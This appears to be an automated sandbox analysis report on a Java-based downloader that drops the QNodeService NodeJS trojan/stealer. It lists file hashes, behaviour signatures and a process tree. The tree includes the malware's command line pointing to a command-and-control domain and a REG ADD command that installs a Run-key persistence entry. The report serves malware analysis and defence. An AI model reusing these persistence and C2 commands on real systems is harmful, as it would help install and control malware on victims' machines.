Analysis

  • max time kernel
    69s
  • max time network
    133s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    21-10-2020 10:11

General

  • Target

    Image_00166433873_JPEG.jar

  • Size

    67KB

  • MD5

    75c5bb1cb07afe3383059ade55067afc

  • SHA1

    d260040ff3f2c8e6893cf895241b7453b68472f7

  • SHA256

    eef5d4cf335b086fbca27b0f6437795a64694df627e4415d77875de2d79eb5d2

  • SHA512

    aadef6dd797f76c012c5e00efe631a880a22e5537528d765b5b36b7fe76a9c0940f24f6034f00161de4ebf2acb3478b8c823e4ffcc79eff57102a4a825a191af

Malware Config

Signatures

  • QNodeService

    Trojan/stealer written in NodeJS and spread via Java downloader.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • JavaScript code in executable 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar C:\Users\Admin\AppData\Local\Temp\Image_00166433873_JPEG.jar
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4040
    • C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\62d33c98.tmp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4064
      • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain ntums330.hopto.org
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2884
        • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
          C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_wZpHmF\boot.js --hub-domain ntums330.hopto.org
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3260
          • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
            C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_wZpHmF\boot.js --hub-domain ntums330.hopto.org
            5⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:204
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "62de3453-4b31-4cff-82f0-c88e13237f92" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:3932
              • C:\Windows\system32\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "62de3453-4b31-4cff-82f0-c88e13237f92" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
                7⤵
                • Adds Run key to start application
                PID:2296

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/204-178-0x000000F54FAC0000-0x000000F54FAC1000-memory.dmp

    Filesize

    4KB

  • memory/2884-171-0x00000236A0800000-0x00000236A0801000-memory.dmp

    Filesize

    4KB

  • memory/3260-174-0x00000287C4100000-0x00000287C4101000-memory.dmp

    Filesize

    4KB